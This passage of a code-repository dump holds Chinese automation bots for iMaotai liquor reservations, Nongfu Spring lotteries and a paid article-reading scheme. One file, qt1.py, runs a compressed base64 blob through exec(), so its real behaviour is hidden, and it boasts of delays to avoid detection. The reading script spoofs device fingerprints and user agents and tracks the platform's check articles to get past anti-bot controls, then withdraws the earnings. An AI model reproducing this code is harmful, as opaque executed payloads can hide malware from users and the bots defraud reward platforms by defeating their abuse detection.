160 |             shopId = shop["shopId"]
161 |             items = shop["items"]
162 | 
163 |             if shopId not in shop_ids:
164 |                 continue
165 |             for item in items:
166 |                 if item["itemId"] != str(item_code):
167 |                     continue
168 |                 if item["inventory"] > max_count:
169 |                     max_count = item["inventory"]
170 |                     max_shop_id = shopId
171 |         print(
172 |             f"item code {item_code}, max shop id : {max_shop_id}, max count : {max_count}"
173 |         )
174 |         return max_shop_id
175 | 
176 |     def distance_shop(
177 |         self,
178 |         item_code,
179 |         shops,
180 |         source_data,
181 |         lat: str = "28.499562",
182 |         lng: str = "102.182324",
183 |     ):
184 |         temp_list = []
185 |         for shop in shops:
186 |             shopId = shop["shopId"]
187 |             items = shop["items"]
188 |             item_ids = [i["itemId"] for i in items]
189 |             if str(item_code) not in item_ids:
190 |                 continue
191 |             shop_info = source_data.get(shopId)
192 |             d = math.sqrt(
193 |                 (float(lat) - shop_info["lat"]) ** 2
194 |                 + (float(lng) - shop_info["lng"]) ** 2
195 |             )
196 |             temp_list.append((d, shopId))
197 | 
198 |         temp_list = sorted(temp_list, key=lambda x: x[0])
199 |         if len(temp_list) > 0:
200 |             return temp_list[0][1]
201 |         else:
202 |             return "0"
203 | 
204 |     def get_location_count(
205 |         self,
206 |         province: str,
207 |         city: str,
208 |         item_code: str,
209 |         p_c_map: dict,
210 |         source_data: dict,
211 |         lat: str = "29.83826",
212 |         lng: str = "102.182324",
213 |         reserve_rule: int = 0,
214 |     ):
215 |         day_time = int(time.mktime(datetime.date.today().timetuple())) * 1000
216 |         session_id = self.headers["current_session_id"]
217 |         responses = requests.get(
218 |             f"https://static.moutai519.com.cn/mt-backend/xhr/front/mall/shop/list/slim/v3/{session_id}/{province}/{item_code}/{day_time}"
219 |         )
220 |         if responses.status_code != 200:
221 |             print(
222 |                 f"get_location_count : params : {day_time}, response code : {responses.status_code}, response body : {responses.text}"
223 |             )
224 |         shops = responses.json()["data"]["shops"]
225 | 
226 |         if reserve_rule == 0:
227 |             return self.distance_shop(item_code, shops, source_data, lat, lng)
228 |         if reserve_rule == 1:
229 |             return self.max_shop(city, item_code, p_c_map, province, shops)
230 | 
231 |     def act_params(self, shop_id: str, item_id: str):
232 |         session_id = self.headers["current_session_id"]
233 |         userId = self.headers["userId"]
234 |         params = {
235 |             "itemInfoList": [{"count": 1, "itemId": item_id}],
236 |             "sessionId": int(session_id),
237 |             "userId": userId,
238 |             "shopId": shop_id,
239 |         }
240 |         s = json.dumps(params)
241 |         act = self.encrypt.aes_encrypt(s)
242 |         params.update({"actParam": act})
243 |         return params
244 | 
245 |     def reservation(self, params: dict):
246 |         params.pop("userId")
247 |         responses = requests.post(
248 |             "https://app.moutai519.com.cn/xhr/front/mall/reservation/add",
249 |             json=params,
250 |             headers=self.headers,
251 |         ).json()
252 |         if responses.get("code") == 401:
253 |             msg = {
254 |                 "name": "申购结果",
255 |                 "value": "token失效, 请重新抓包获取",
256 |             }
257 |         elif responses.get("code") != 2000:
258 |             msg = {
259 |                 "name": "申购结果",
260 |                 "value": responses.get("message"),
261 |             }
262 |         else:
263 |             msg = {
264 |                 "name": "申购结果",
265 |                 "value": responses.get("data", {}).get("successDesc"),
266 |             }
267 |         return msg
268 | 
269 |     def getUserEnergyAward(self):
270 |         """
271 |         耐力值
272 |         """
273 |         cookies = {
274 |             "MT-Device-ID-Wap": self.headers["MT-Device-ID"],
275 |             "MT-Token-Wap": self.headers["MT-Token"],
276 |             "YX_SUPPORT_WEBP": "1",
277 |         }
278 |         response = requests.post(
279 |             url="https://h5.moutai519.com.cn/game/isolationPage/getUserEnergyAward",
280 |             cookies=cookies,
281 |             headers=self.headers,
282 |             json={},
283 |         ).json()
284 |         if response.get("code") == 200:
285 |             msg = {
286 |                 "name": "耐力",
287 |                 "value": "✅领取耐力成功",
288 |             }
289 |         else:
290 |             msg = {
291 |                 "name": "耐力",
292 |                 "value": response.get("message"),
293 |             }
294 |         return msg
295 | 
296 |     def main(self):
297 |         msg = []
298 |         mobile = self.check_item.get("mobile")
299 |         province = self.check_item.get("province")
300 |         city = self.check_item.get("city")
301 |         token = self.check_item.get("token")
302 |         userId = self.check_item.get("userid")
303 |         lat = self.check_item.get("lat")
304 |         lng = self.check_item.get("lng")
305 |         item_codes = self.check_item.get("item_codes", self.ITEM_CODES)
306 |         reserve_rule = self.check_item.get("reserve_rule", 0)
307 |         msg = [
308 |             {
309 |                 "name": "手机号",
310 |                 "value": f"{mobile}",
311 |             },
312 |             {
313 |                 "name": "省份城市",
314 |                 "value": f"{province}{city}",
315 |             },
316 |         ]
317 |         p_c_map, source_data = self.get_map(lat=lat, lng=lng)
318 |         self.get_current_session_id()
319 |         self.init_headers(user_id=userId, token=token, lng=lng, lat=lat)
320 |         try:
321 |             for item in item_codes:
322 |                 max_shop_id = self.get_location_count(
323 |                     province=province,
324 |                     city=city,
325 |                     item_code=item,
326 |                     p_c_map=p_c_map,
327 |                     source_data=source_data,
328 |                     lat=lat,
329 |                     lng=lng,
330 |                     reserve_rule=reserve_rule,
331 |                 )
332 |                 if max_shop_id == "0":
333 |                     continue
334 |                 reservation_params = self.act_params(max_shop_id, item)
335 |                 reservation_msg = self.reservation(reservation_params)
336 |                 time.sleep(20)
337 |                 award_msg = self.getUserEnergyAward()
338 |                 msg.append(reservation_msg)
339 |                 msg.append(award_msg)
340 |         except BaseException as e:
341 |             msg.append(
342 |                 {
343 |                     "name": "申购结果",
344 |                     "value": e,
345 |                 }
346 |             )
347 |         msg = "\n".join([f"{one.get('name')}: {one.get('value')}" for one in msg])
348 |         return msg
349 | 
350 | 
351 | if __name__ == "__main__":
352 |     with open(
353 |         os.path.join(os.path.dirname(os.path.dirname(__file__)), "config.json"),
354 |         encoding="utf-8",
355 |     ) as f:
356 |         datas = json.loads(f.read())
357 |     _check_item = datas.get("IMAOTAI", [])[0]
358 |     print(IMAOTAI(check_item=_check_item).main())
359 | 


--------------------------------------------------------------------------------
/nfsq.py:
--------------------------------------------------------------------------------
  1 | import time
  2 | import os
  3 | import requests
  4 | from datetime import datetime
  5 | import json
  6 | 
  7 | 
  8 | #抓取农夫山泉抽水小程序 获取apitoken值填入环境变量 变量名字为nfsq
  9 | # Constants
 10 | API_BASE_URL = "https://gateway.jmhd8.com"
 11 | USER_INFO_URL = f"{API_BASE_URL}/geement.usercenter/api/v1/user/information"
 12 | TASK_LIST_URL = f"{API_BASE_URL}/geement.marketingplay/api/v1/task"
 13 | JOIN_TASK_URL = f"{API_BASE_URL}/geement.marketingplay/api/v1/task/join"
 14 | LOTTERY_URL = "https://thirtypro.jmhd8.com/api/v1/nongfuwater/snake/checkerboard/lottery"
 15 | MARKETING_LOTTERY_URL = f"{API_BASE_URL}/geement.marketinglottery/api/v1/marketinglottery"
 16 | SENIORITY_URL = f"{API_BASE_URL}/geement.usercenter/api/v1/user/seniority"
 17 | TODAY_COUNT_URL = f"{API_BASE_URL}/geement.actjextra/api/v1/act/lottery/data/todaycount"
 18 | GOODS_SIMPLE_URL = f"{API_BASE_URL}/geement.actjextra/api/v1/act/win/goods/simple"
 19 | 
 20 | # Headers
 21 | HEADERS = {
 22 |     'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090c11)XWEB/11581",
 23 |     'content-type': "application/x-www-form-urlencoded",
 24 |     'xweb_xhr': "1",
 25 |     'unique_identity': "b78effb9-789e-416c-8e2b-84f7d9dadbb6",
 26 |     'sec-fetch-site': "cross-site",
 27 |     'sec-fetch-mode': "cors",
 28 |     'sec-fetch-dest': "empty",
 29 |     'referer': "https://servicewechat.com/wxd79ec05386a78727/86/page-frame.html",
 30 |     'accept-language': "zh-CN,zh;q=0.9"
 31 | }
 32 | 
 33 | 
 34 | def get_apitokens():
 35 |     tokenString = os.getenv("nfsq")
 36 |     if not tokenString:
 37 |         print('没有配置nfsq')
 38 |         exit()
 39 |     return tokenString.split("#")
 40 | 
 41 | 
 42 | def make_request(method, url, headers=None, params=None, json_data=None):
 43 |     try:
 44 |         if method == 'GET':
 45 |             response = requests.get(url, headers=headers, params=params)
 46 |         elif method == 'POST':
 47 |             response = requests.post(url, headers=headers, json=json_data)
 48 |         response.raise_for_status()  # Check for HTTP errors
 49 |         return response.json()
 50 |     except requests.RequestException as e:
 51 |         print(f"请求错误: {e}")
 52 |         return None
 53 | 
 54 | 
 55 | def login(apitoken):
 56 |     headers = {**HEADERS, 'apitoken': apitoken}
 57 |     response = make_request('GET', USER_INFO_URL, headers=headers)
 58 |     if response and 'data' in response:
 59 |         data = response['data']
 60 |         return data['user_no'], data['nick_name']
 61 |     return None, None
 62 | 
 63 | 
 64 | def get_task_list(apitoken):
 65 |     headers = {**HEADERS, 'apitoken': apitoken}
 66 |     params = {'pageNum': '1', 'pageSize': '10', 'task_status': '2', 'status': '1', 'group_id': '24121016331837'}
 67 |     response = make_request('GET', TASK_LIST_URL, headers=headers, params=params)
 68 |     return response['data'] if response else []
 69 | 
 70 | 
 71 | def do_task(taskId, apitoken):
 72 |     headers = {**HEADERS, 'apitoken': apitoken}
 73 |     params = {'action_time': datetime.now().strftime('%Y-%m-%d %H:%M:%S'), 'task_id': taskId}
 74 |     response = make_request('GET', JOIN_TASK_URL, headers=headers, params=params)
 75 |     print(response)
 76 | 
 77 | 
 78 | def lottery(apitoken):
 79 |     payload = {
 80 |         "code": "SCENE-24121018345681",
 81 |         "provice_name": "吉林省",
 82 |         "city_name": "长春市",
 83 |         "area_name": "南关区",
 84 |         "address": "吉林省长春市南关区福祉大路",
 85 |         "longitude": 125.35724539567919,
 86 |         "dimension": 43.789581133046504
 87 |     }
 88 |     headers = {**HEADERS, 'apitoken': apitoken, 'Content-Type': "application/json"}
 89 |     response = make_request('POST', LOTTERY_URL, headers=headers, json_data=payload)
 90 |     return response
 91 | 
 92 | 
 93 | def marketing_lottery(apitoken, code):
 94 |     payload = {
 95 |         "code": code,
 96 |         "provice_name": "吉林省",
 97 |         "city_name": "长春市",
 98 |         "area_name": "南关区",
 99 |         "address": "吉林省长春市南关区福祉大路",
100 |         "longitude": 125.35724539567919,
101 |         "dimension": 43.789581133046504
102 |     }
103 |     headers = {**HEADERS, 'apitoken': apitoken, 'Content-Type': "application/json"}
104 |     response = make_request('POST', MARKETING_LOTTERY_URL, headers=headers, json_data=payload)
105 |     if response and response['code'] == 500:
106 |         print(response['msg'])
107 |     elif response and 'data' in response:
108 |         print(response['data']['prizedto']['prize_name'])
109 | 
110 | 
111 | def today_count(apitoken):
112 |     params = {'act_code': "ACT2412101428048"}
113 |     headers = {**HEADERS, 'apitoken': apitoken}
114 |     response = make_request('GET', TODAY_COUNT_URL, headers=headers, params=params)
115 |     return response['data'] if response else 0
116 | 
117 | 
118 | def goods_simple(apitoken):
119 |     params = {'act_codes': "ACT2412101428048,ACT24121014352835,ACT24121014371732"}
120 |     headers = {**HEADERS, 'apitoken': apitoken}
121 |     response = make_request('GET', GOODS_SIMPLE_URL, headers=headers, params=params)
122 |     return response['data'] if response else []
123 | 
124 | 
125 | def process_account(apitoken):
126 |     user_no, nick_name = login(apitoken)
127 |     print(f"============账号nick_name:{nick_name or user_no}============")
128 | 
129 |     everydata_counted = today_count(apitoken)
130 |     print("每日赠送抽奖", f"[{everydata_counted}/3]")
131 | 
132 |     if everydata_counted < 3:
133 |         code = "SCENE-24121018345681"
134 |         for _ in range(3 - everydata_counted):
135 |             marketing_lottery(apitoken, code)
136 |             time.sleep(1)
137 | 
138 |     task_list = get_task_list(apitoken)
139 |     print("======执行任务======")
140 |     for task in task_list:
141 |         task_name = task["name"]
142 |         task_status = task["complete_status"]
143 |         task_id = task['id']
144 |         allow_complete_count = task["allow_complete_count"]
145 |         complete_count = task["complete_count"]
146 | 
147 |         if task_status == 1:
148 |             print(f"{task_name} 已完成,跳过")
149 |         else:
150 |             print(f"开始 {task_name} [{complete_count}/{allow_complete_count}]")
151 |             for _ in range(allow_complete_count - complete_count):
152 |                 do_task(task_id, apitoken)
153 |                 time.sleep(1)
154 | 
155 |     print("时来运转游戏")
156 |     for _ in range(3):
157 |         lottery_mes = lottery(apitoken)
158 |         if lottery_mes and lottery_mes["success"] == False:
159 |             print(lottery_mes['msg'])
160 |             break
161 |         else:
162 |             print(lottery_mes['data'] if lottery_mes else "请求失败")
163 |         time.sleep(1)
164 | 
165 |     print("======任务完成情况======")
166 |     for task in task_list:
167 |         task_name = task["name"]
168 |         task_status = task["complete_status"]
169 |         complete_count = task["complete_count"]
170 |         allow_complete_count = task["allow_complete_count"]
171 |         print(f"[{'√' if task_status == 1 else '×'}] {task_name} [{complete_count}/{allow_complete_count}]")
172 | 
173 |     print("======查询奖品======")
174 |     goods_list = goods_simple(apitoken)
175 |     for good in goods_list:
176 |         if good.get("win_goods_sub_type"):
177 |             print(good["win_goods_name"])
178 | 
179 | 
180 | if __name__ == '__main__':
181 |     apitoken_list = get_apitokens()
182 |     for apitoken in apitoken_list:
183 |         process_account(apitoken)
184 | 


--------------------------------------------------------------------------------
/qt1.py:
--------------------------------------------------------------------------------
1 | #项目入口https://jpg.dog/i/cjVSu
2 | #变量名qt填 session_id#scene 多账号使用@分开
3 | #更新了签到 100积分=1r
4 | #设置了随机延迟防止检测
5 | #本次更新了多任务执行 部分为一次性任务 运行得1-2r后续金额自测
6 | import lzma, base64
7 | exec(lzma.decompress(base64.b64decode('/Td6WFoAAATm1rRGAgAhARYAAAB0L+Wj4AWlAv9dADSbSme4Ujxz9PXzugT+YU2Lu+CYRc0VOrtKbp+heCobCV+DT4m79U/aHlyxY2KisZ80O8uh7lxVmaJ7/DgqXBxd+pJ2TOEA+pTlwY/iC6r7wN3IVpZRZMNiC0bRv5iQ5tGSmbPbtEUQT/JNxs2FE4o2g7YFIwh880e//zyZ38zQePm8Abj3CV7uERg50dfoZSCcb64ey1e9T/Lkw/mVLeyal1Mk2XljECA+ZTRCa/FGEiyqiP0yaj0zSRwugASg67qc/66rzUJME+lAM2NsiohdF5GDxyTAYfDbrOSKgvkumnAIuIZvTUNyQhh9GPayqEPOcFr52OjIYtGD+VEl2M+x74CbGp23E6tAa7SgChBix4Q0zBy0vYWAIGuvINeTc3Rga9r3Gmo8cnFjlPKcAeB7gMn6KuiUXQwaL6CBfpKrmtU63UteF5ekIpNTsXyt6kG75d0j/1I3DqfIeBtHGHRHYS75xcnonuiq6x2YX/9rpdiRskR+o+sxQ6iYfW0EfsHUuAZthA4KNRHR08sNaFu50OdBRftywIBeenLyHieuvnNlvqJlfMzTNAZ3pa6k+fp3ar9iuZrVUadCLuvpeRmV62i6dZ0Wl7gK7M7kFqrntx2pSulp0Xc5DI5XZQbhUopfzDLzPhpTUJQBtA+eOoQwehZclMDqBHhIe8USKvYuSSvbEjnyX550+9ul9XkgYljNH7NQvDqAv0FbFhmQ2OcAUBln9BLeSkd/Rr7ET2IlHuZIpTTYPqLhe7ClIiyTWSgimkJWOP7EtECq0O2cORFKqsFTmZ9IbfuuPzvQ4vnHa++Bkt9p7qp1dc2ZUa5e1RkoikRgFMrvZpq6slLsFtqDKWbb25iZc+A7uUtQyVqaV+Q4+Im7FRZV2fWNzYv13jNNLlPF4aEi7WBS9nVc8QNqALI2zN2NIYdIBtsfm9pR+3n04E6vdVRabd2WntZBGuZxJvCTNhbEW9kvHNDLLl4+xUS5LPJHN319c34l/MYXvDdK/ghl8SldZzeSpL5uAAAj1aG71PZ9OAABmwamCwAAxW7hX7HEZ/sCAAAAAARZWg==')))


--------------------------------------------------------------------------------
/xyyd_pro.py:
--------------------------------------------------------------------------------
  1 | # Author: lindaye
  2 | # Update:2023-09-26
  3 | # 小阅阅阅读
  4 | # 活动入口：https://sd8690.viptaoyou.top:10261/yunonline/v1/auth/1c3da9bd1689d78a51463138d634512f?codeurl=sd8690.viptaoyou.top:10261&codeuserid=2&time=1694212129
  5 | # 添加账号说明(青龙/本地)二选一
  6 | #   青龙: 青龙变量xyytoken 值{"ck":"ysm_uid的值","ts":"Wxpusher的UID"} 一行一个(回车分割)
  7 | #   本地: 脚本内置ck方法ck_token = [{"ck":"ysm_uid的值","ts":"Wxpusher的UID"},{"ck":"ysm_uid的值","ts":"Wxpusher的UID"}]
  8 | # 提现说明:
  9 | #   可选参数 支付宝账号zfbzh 支付宝姓名zfbxm
 10 | #   微信提现(默认):{"ck":"ysm_uid的值","ts":"Wxpusher的UID"}
 11 | #   支付宝提现:{"ck":"ysm_uid的值","ts":"Wxpusher的UID","zfbzh":"110","zfbxm":"局子"}
 12 | # 脚本使用说明:
 13 | #   1.(必须操作)扫码关注wxpusher获取UID: https://wxpusher.zjiecode.com/demo/
 14 | #   2.在1打开的网页中点击发送文本消息,查看是否收到,收到可继续
 15 | #   3.将1打开的网页中的UID或者以及操作过1的账号UID复制备用
 16 | #   4.根据提示说明填写账号变量
 17 | # 回调服务器开放说明:
 18 | #   1.仅针对授权用户开放,需配合授权软件使用
 19 | #   2.青龙变量设置LID变量名,值为授权软件的LID
 20 | # 软件版本
 21 | version = "1.2.0"
 22 | name = "小阅阅读"
 23 | linxi_token = "xyytoken"
 24 | linxi_tips = '{"ck":"ysm_uid的值","ts":"Wxpusher的UID"}'
 25 | import requests
 26 | import json
 27 | import time
 28 | import random
 29 | import re
 30 | import os
 31 | from multiprocessing import Pool
 32 | from urllib.parse import quote
 33 | # 阅读等待时间
 34 | tsleep = 40
 35 | # 变量类型(本地/青龙)
 36 | Btype = "青龙"
 37 | # 提现限制(元)
 38 | Limit = 2
 39 | # 授权设备ID(软件版本>=1.3.3)[非授权用户不填即可]
 40 | imei = os.getenv('LID')
 41 | # 保持连接,重复利用
 42 | ss = requests.session()
 43 | # 检测文章列表(如有未收录可自行添加)
 44 | check_list = [
 45 |     "MzkzODE5NTQwNQ==","MjM5MDQzNTMwMQ==","MjM5MTMxMTA4MA==","MjM5MzEzMTcwMQ==","MjM5NDg5MTg3Ng==","MjM5NTE4NTg3Mg==",
 46 |     "MjM5NTU1NTU3Nw==","MjM5NjM5MjQ4MQ==","MjM5OTkxODI0OA==","MzA3ODQ2NjQzMg==","MzA5MDk0NTI3NQ==","MzA5MTg5ODAwNw==",
 47 |     "MzA5MzQxNzE5Nw==","MzA5NjUyNzEyOQ==","MzA5NjYzOTE1OA==","MzA5NzA2NjEyOA==","MzA5NzI0NjIxNg==","MzA5NzI2NjI1NA==",
 48 |     "MzAwMzY1OTY1Nw==","MzI0MDE3NTg2MQ==","MzI0NDA0NTE3Mg==","MzI0NjM0NDg4MQ==","MzI0ODExNDIzNw==","MzI1Mjg1NTc2NA==",
 49 |     "MzI1MzA1Njc4MQ==","MzI1MzEyODU1OQ==","MzI2MjY0NjY0OQ==","MzI2ODcxNzc5NA==","MzI3MzEwODAwMA==","MzI3NjQxMDcyOQ==",
 50 |     "MzI4MzUzNjAxMg==","MzI4NTM3OTI5OQ==","MzI4NjY4ODY1MQ==","MzI5MjY3MTg5Mg==","MzI5MzkyNTM1Ng==","MzIwMTI3ODY4MQ==",
 51 |     "MzIwNjM4MjI4Mg==","MzIwOTA1MDAyNA==","MzIwOTcwNDAzMA==","MzIxOTY1ODcyNA==","MzIyMDU0ODkzNw==","MzIzMDczODg4Mw==",
 52 |     "MzIzMjU4MjQ3OQ==","MzIzNDA2OTU2Mg==","MzIzNDg0NTkwOA==","MzIzNjc0MTMwMA==","MzIzODEwNjI1Mg==","MzIzOTMyODAzNQ==",
 53 |     "MzIzOTY1Mjg1NQ==","MzU0MDExOTM3OQ==","MzU0NzI5Mjc4OQ==","MzU2MTY0MTM1NA==","MzU2MzQzNjA2MQ==","MzU2NTcxODIyMg==",
 54 |     "MzU2Nzg1MDcyNA==","MzU3OTgyOTY4OA==","MzU4MjkzODE1MA==","MzU4MzQ3MjgyNA==","MzU4MzYyMTk0NA==","MzU4Nzc5NDA3NA==",
 55 |     "MzUxMjk1MDcwOQ==","MzUxMzg5NzcyNQ==","MzUyNTQ4MDE5OA==","MzUyNzk3MDEwOA==","MzUzMTAzOTg1OQ==","MzUzNzE2MzUxMA==",
 56 |     "MzUzODY4NzE2OQ==","Mzg2NjUyMjI1NA==","Mzg3NzUxMjc5Mg==","Mzg4MzcwMjk2Mg==","Mzg4NDcyNTY3MQ==","Mzg4NTcwODE1NA==",
 57 |     "Mzg4NjU4NDk5Mw==","Mzg5MDE5MDIzNQ==","Mzg5MDgxODAzMg==","Mzg5MjM0MDEwNw==","Mzg5ODUyMzYzMQ==","Mzg5OTc5MzMyMg==",
 58 |     "Mzk0MzUyMjEzMQ==","Mzk0ODIxODE4OQ==","MzkwMTI4NDgxOQ==","MzkwNzQ1MzgyNg==","MzkxMjMwNzUwOQ==","MzkxMjMxMTY2MQ==",
 59 |     "MzkxNDUzMTU0OA==","MzkxNTE3MzQ4MQ==","MzkxNjMwNDIzOA==","MzkyMjE3MzYxMg==","MzkzMDIzNzY1MQ==","MzkzMjM3OTAxMQ==",
 60 |     "MzkzODE5NTQwNQ==",
 61 | ]
 62 | 
 63 | def get_host():
 64 |     headers = {
 65 |         'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309071d) XWEB/8447 Flue',
 66 |     }
 67 |     result = ss.get("https://ot34022.khdsfa.top:10251/yunonline/v1/auth/6d288b175355d987746598c6c11c0227",headers=headers,allow_redirects =False)
 68 |     Location = re.findall("http://(.*?)/yun",result.headers['Location'])[0]
 69 |     return "http://"+Location
 70 | 
 71 | # 获取个人信息模块
 72 | def user_info(i,ck):
 73 |     timestamp = int(time.time() * 1000)
 74 |     headers = {
 75 |         'User-Agent':'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.40(0x18002831) NetType/WIFI Language/zh_CN',
 76 |         'Cookie':f"ysmuid={ck['ck']}; ejectCode=1",
 77 |     }
 78 |     domain = get_host()
 79 |     result = ss.get(domain,headers=headers).text
 80 |     request_id = re.findall(r'id\'\) \|\| "(.*?)";',result)
 81 |     if request_id == []:
 82 |         print (f'账号【{i+1}】初始化失败,请检测CK({ck["ck"]})是否正确!')
 83 |         return False
 84 |     else:
 85 |         unionid = re.findall(r'unionid="(.*?)";',result)[0]
 86 |         result = ss.get(f'{domain}/yunonline/v1/gold?unionid={unionid}&time={timestamp}').json()
 87 |         if result['errcode'] == 0:
 88 |             print(f"账号【{i+1}】今日积分: {result['data']['day_gold']} 已阅读: {result['data']['day_read']}篇 剩余: {result['data']['remain_read']}篇")
 89 |         else:
 90 |             print (f'账号【{i+1}】获取用户信息失败，账号异常:{result}')
 91 |             return False
 92 | 
 93 | # 阅读文章模块
 94 | def do_read(i,ck):
 95 |     time.sleep(i*5)
 96 |     timestamp = int(time.time() * 1000)
 97 |     headers = {
 98 |         'User-Agent':'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.40(0x18002831) NetType/WIFI Language/zh_CN',
 99 |         'Cookie':f"ysmuid={ck['ck']}; ejectCode=1",
100 |     }
101 |     domain = get_host()
102 |     result = ss.get(domain,headers=headers).text
103 |     request_id = re.findall(r'id\'\) \|\| "(.*?)";',result)
104 |     if request_id == []:
105 |         print (f'账号【{i+1}】初始化失败,请检测CK({ck["ck"]})是否正确!')
106 |         return False
107 |     else:
108 |         unionid = re.findall(r'unionid="(.*?)";',result)[0]
109 |     if 'did' in ck:
110 |         Did_data=f"unionid={unionid}&devid={ck['did']}"
111 |         Did_R = ss.post( domain+'/yunonline/v1/devtouid',headers=headers,data=Did_data)
112 |         print(f"账号【{i+1}】模拟上传设备指纹: {ck['did']}")
113 |     
114 |     result = ss.get(domain,headers=headers).text
115 |     data = {'unionid':unionid}
116 |     headers = {
117 |         'User-Agent':'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.40(0x18002831) NetType/WIFI Language/zh_CN',
118 |         'Cookie':f"ysmuid={ck['ck']}; ejectCode=1",
119 |         'X-Requested-With': 'XMLHttpRequest',
120 |         'Referer': 'http://1693441346.pgvv.top/',
121 |     }
122 |     result = ss.post(f'{domain}/yunonline/v1/wtmpdomain',headers=headers,json=data).json()
123 |     uk = re.findall(r'uk=([^&]+)',result['data']['domain'])[0]
124 |     host = re.findall(r'(http.*?)/y', result['data']['domain'])[0]
125 |     print(f"账号【{i+1}】获取到KEY: {uk}")
126 |     while True:
127 |             temp_headers = {
128 |                 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.40(0x18002831) NetType/WIFI Language/zh_CN",
129 |                 'Origin': host,
130 |             }
131 |             result = ss.get(f'https://nsr.zsf2023e458.cloud/yunonline/v1/do_read?uk={uk}',headers=temp_headers)
132 |             if result.text == "":
133 |                 print(f"账号【{i+1}】检测到账号已被封禁或CK错误,自动停止当前操作!")
134 |                 return False
135 |             else:
136 |                 result = result.json()
137 |             if result['errcode'] == 0:
138 |                 link = result['data']['link']
139 |                 link_headers = {
140 |                     "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.40(0x18002831) NetType/WIFI Language/zh_CN",
141 |                     'Cookie': f'ysmuid={ck["ck"]}; ejectCode=1'
142 |                 }
143 |                 l_result = ss.get(link,headers=link_headers).text
144 |                 # 获取biz
145 |                 biz = re.findall("biz=(.*?)&amp;",l_result)
146 |                 if biz == []:
147 |                     print(link)
148 |                     print(f'账号【{i+1}】未找到BIZ,尝试重新获取文章')
149 |                     continue 
150 |                 else:
151 |                     biz = biz[0]
152 |                 s = random.randint(6,8)
153 |                 print (f'账号【{i+1}】获取文章成功-{biz}-模拟{s}秒')
154 |                 if biz in check_list:
155 |                     print(f"账号【{i+1}】阅读检测文章-已推送微信,请40s内完成验证!")
156 |                     #print(f"获取到微信文章: {link}")
157 |                     link = re.findall('_g.msg_link = "(.*?)"',l_result)[0]
158 |                     # 过检测
159 |                     check = check_status(ck['ts'],link,i)
160 |                     if check == True:
161 |                         print(f"账号【{i+1}】检测文章-过检测成功啦!")
162 |                         r_result = ss.get(f'https://nsr.zsf2023e458.cloud/yunonline/v1/get_read_gold?uk={uk}&time={s}&timestamp={timestamp}',headers=temp_headers).json()
163 |                         if r_result['errcode'] == 0:
164 |                             print(f"账号【{i+1}】阅读已完成: 获得{r_result['data']['gold']}积分 剩余{r_result['data']['remain_read']}篇")
165 |                         elif r_result['msg'] == "本次阅读无效":
166 |                             print(f"账号【{i+1}】检测异常重新获取:{r_result}")
167 |                         else:
168 |                             print(f"账号【{i+1}】检测异常:{r_result}")
169 |                             break
170 |                     else:
171 |                         print(f"账号【{i+1}】检测文章-过检测失败啦!")
172 |                         break
173 |                 else:
174 |                     time.sleep(s)
175 |                     r_result = ss.get(f'https://nsr.zsf2023e458.cloud/yunonline/v1/get_read_gold?uk={uk}&time={s}&timestamp={timestamp}',headers=temp_headers).json()
176 |                     if r_result['errcode'] == 0:
177 |                         print(f"账号【{i+1}】阅读已完成: 获得{r_result['data']['gold']}积分 剩余{r_result['data']['remain_read']}篇")
178 |                     else:
179 |                         print(f"账号【{i+1}】阅读失败,获取到未收录检测BIZ:{biz}")
180 |                         print(f"账号【{i+1}】阅读异常:{r_result}")
181 |                         break
182 |             else:
183 |                 if result['msg'] in ["任务重复","任务超时","阅读无效"]:
184 |                     print(f"账号【{i+1}】阅读失败: {result['msg']}重新获取文章")
185 |                 else:
186 |                     print (f"账号【{i+1}】阅读提醒: {result['msg']}")
187 |                     break
188 | 
189 | 
190 | # 提现模块
191 | def get_money(i,ck):
192 |     headers = {
193 |         'User-Agent':'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.40(0x18002831) NetType/WIFI Language/zh_CN',
194 |         'Cookie':f"ysmuid={ck['ck']}",
195 |         'Origin': 'http://1695525674.snak.top',
196 |     }
197 |     domain = get_host()
198 |     result = ss.get(domain,headers=headers).text
199 |     request_id = re.findall(r'id\'\) \|\| "(.*?)";',result)
200 |     if request_id == []:
201 |         print (f'账号【{i+1}】初始化失败,请检测CK({ck["ck"]})是否正确!')
202 |         return False
203 |     else:
204 |         turl = re.findall(r'href="(.*?)">提现',result)[0]
205 |         result = ss.get(turl,headers=headers).text
206 |         money = re.findall(r'id="exchange_gold">(.*?)</p>',result)
207 |         request_id = re.findall(r'request_id = "(.*?)";',result)
208 |         unionid = re.findall(r"unionid = '(.*?)';",result)
209 |         if money == []:
210 |             print (f'账号【{i+1}】金币获取失败,账号异常')
211 |         else:
212 |             money = money[0]
213 |             rmb = re.findall(r'money = (.*?);',result)[0]
214 |             if int(money) >= 3000:
215 |                 tmoney = (int(money) // 3000) * 3000
216 |                 # print(f"账号【{i+1}】提交体现金币: {tmoney}")
217 |                 t_data = {'unionid':unionid,'request_id':request_id,'gold':tmoney}
218 |                 t_result = ss.post(f'{domain}/yunonline/v1/user_gold',data=t_data).json()
219 |                 # print(f'账号【{i+1}】金币转换金额{t_result}')
220 |                 money = int(money) - 3000
